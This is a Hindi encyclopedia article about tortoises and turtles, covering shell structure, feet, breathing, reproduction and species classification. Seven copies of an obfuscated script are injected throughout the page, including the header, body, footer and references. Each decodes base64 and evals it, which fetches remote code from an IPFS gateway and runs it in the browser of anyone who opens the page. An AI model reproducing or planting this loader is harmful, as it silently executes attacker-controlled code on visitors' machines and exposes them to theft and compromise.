कछुआ

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
Icon-edit.gif इस लेख का पुनरीक्षण एवं सम्पादन होना आवश्यक है। आप इसमें सहायता कर सकते हैं। "सुझाव"

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

कछुआ
Tortoise

कछुआ उरगों के एक गण परिवर्मिगण (किलोनिया) का प्राणी है। यह जल और स्थल दोनों स्थानों में पाया जाता है। जल और स्थल के कुछए तो भिन्न होते ही हैं, मीठे तथा खारे जल के कछुओं की भी पृथक् जातियाँ होती हैं।

रूप और आकृति

कछुओं का गोल शरीर कड़े डिब्बे जैसे आवरण से ढका रहता है। इस कड़े आवरण या खोल से, जिसे खपड़ा कहा जाता है, इनकी चारों टाँगें तथा लंबी गरदन बाहर निकली रहती हैं। यह खपड़ा कड़े पर्तदार शल्कों से ढँका रहता है। कछुओं का ऊपरी भाग प्राय: उत्तल (उभरा हुआ) और निचला भाग चपटा रहता है। ऊपरी भाग को उत्कवच (कैरापेस) और नीचे वाले को उदरवर्म (प्लैस्ट्रन) कहते हैं। कुछ कछुओं का ऊपरी भाग चिकना रहता है, परंतु कुछ कड़े शल्क इस प्रकार एक दूसरे पर चढ़े रहते हैं जैसे प्राय: मकानों पर खपड़े छाए रहते हैं। ये खपड़े कई टुकड़ों के जुड़ने से बनते हैं, जो सुदृढ़ता से परस्पर जुड़े रहते हैं। ऊपर और नीचे के खपड़े भी बगल में सुदृढता पूर्वक एक दूसरे से संयोजित रहते हैं।

कछुओं के खपड़ों की बनावट उनकी रहन-सहन के अनुसार ही होती है। सूखे में रहने वाले कछुओं की खपड़े ऊँचे और गोलाई लिए रहते हैं जिसके भीतर वे अपनी गर्दन और टाँगों को सरलता से सिकोड़ लेते हैं। किंतु पानी के कछुओं के खपड़े चपटे होते हैं, क्योंकि उन्हें अपनी टाँगों को शीघ्र भीतर बाहर करने की आवश्यकता नहीं पड़ती।

खपड़ों की भाँति उनकी अँगुलियों की बनावट पर भी उनकी रहन-सहन का पर्याप्त प्रभाव दिखाई पड़ता है। स्थल कच्छओं की अँगुलियाँ जहाँ आपस में ऐसी गुँथी रहती है कि हम उनकी संख्या केवल उनके नखों से ही जान पाते हैं, वहीं जल कच्छओं की अँगुलियाँ भिन्न होकर भी बत्तखों के समान आपस में एक प्रकार की झिल्ली से जुड़ी रहती हैं। समुद्री कच्छओं के अगले पैरों की अँगुलियाँ और अँगूठे एक ही में जुड़कर पतवारनुमा हो जाते हैं और उनमें नखों की संख्या भी कम रहती है।

कछुआ
Tortoise

लक्षण

कछुओं के मुँह में दाँत नहीं होते, किंतु उनके स्थान पर एक कड़ी हड्डी का चंद्राकर पट्ट (प्लेट) सा रहता है, जिसकी धार बहुत तीक्ष्ण होती है। इसी के द्वारा वे अपनी भोजन सुगमता से काट लेते हैं। स्थल कुछए शाकाहारी होते हैं और जल कच्छओं में अधिक संख्या उन्हीं की है जो मांस मछलियों और घोंघे कटुओं से अपना पेट भरते हैं।

कछुओं में साँस लेने का ढंग भी अन्य उरगों से भिन्न होता है। वे उभयचरों के समान साँस लेते हैं। उनके फेफड़े में वायु एक ऐसे अवयव की सहायता से पहुँचती है जो उनकी गरदन और मुख के निचले भाग को सिकोड़ता और फैलाता रहता है। चलते समय या तैरते समय गरदन और टाँगों के आगे पीछे गतिमान होने से उन्हें साँस लेने में सुविधा हो जाती है। पानी के रहने वाले कुछ कछुए अपनी गुदा से पानी में घुली हुई वायु को उसी प्रकार सोख लेते हैं जैसे मछलियाँ अपने गलफड़ों से पानी में घुले आक्सीजन को सोख लेती हैं।

कछुए कोई स्पष्ट ध्वनि नहीं करते, किंतु जोड़ा बाँधते समय नर का एक प्रकार का कर्कश स्वर और स्त्री की फुफ कार कभी-कभी सुनाई पड़ती है। इनकी संतानवृद्धि अंडों द्वारा होती है, जिन्हें स्त्री एक बार रेत में गाड़कर फिर उसकी चिंता नहीं करती।

कछुओं की प्रजातियाँ

संसार में लगभग 225 जातियों के कछुए हैं, जिसमें सबसे बड़ा समुद्री कछुआ सामान्य चर्मकश्यप होता है। समुद्री कछुआ लगभग 8 फुट लंबा और 30 मन भारी होता है।

कछुआ

इसकी पीठ पर कड़े शल्कों की धारियाँ सी पड़ी रहती हैं, जिनपर खाल चढ़ी रहती है। इसका निवासस्थान उष्णप्रदेशीय सागर हैं और इसका मुख्य भोजन मांस, मछली और घोंघे कटुए हैं। अन्य कछुओं की भाँति इस जाति के मादा कछुए भी रेत में अंडे देते हैं।

शेष कछुओं

शेष कछुओं को इस प्रकार तीन श्रेणियों में बाँटा गया है :

  1. मृदुकश्यप (ट्रिओनीकॉइडी): इस श्रेणी में वे जल कछुए आते हैं जिनके ऊपरी खपड़े पर कड़े शल्क या पट्ट नहीं होते।
  2. गुप्तग्रीवा (क्रिप्टोडिरा): इस श्रेणी में वे जल और स्थल कछुए आते हैं जिनके ऊपरी खपड़े पर खाल से ढके हुए कड़े शल्क या पट्ट रहते हैं और जो अपनी लंबी गरदन को सिकोड़ते समय उसे अंग्रेजी अक्षर C के समान वक्राकार कर लेते हैं। इस श्रेणी में सबसे अधिक कछुए हैं।
  3. पार्श्वग्रीवा (प्यूरोडिरा): इस श्रेणी में क्रिप्टोडिरा श्रेणी जैसे ही जल और स्थल के कछुए हैं, किंतु उनकी गरदन उत्कवच के भीतर सिकुड़ नहीं सकती, केवल बगल में घुमाकर उत्कवच के नीचे कर ली जाती है।

हमारे देश में कछुओं की लगभग 55 जतियाँ पाई जाती हैं, जिनमें साल, चिकना, चितना, छतनहिया, रामानंदी, बाजठोंठी और सेवार आदि प्रसिद्ध कछुए हैं।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

“खण्ड 2”, हिन्दी विश्वकोश, 1960 (हिन्दी), भारतडिस्कवरी पुस्तकालय: नागरी प्रचारिणी सभा वाराणसी, 265।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

बाहरी कड़ियाँ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>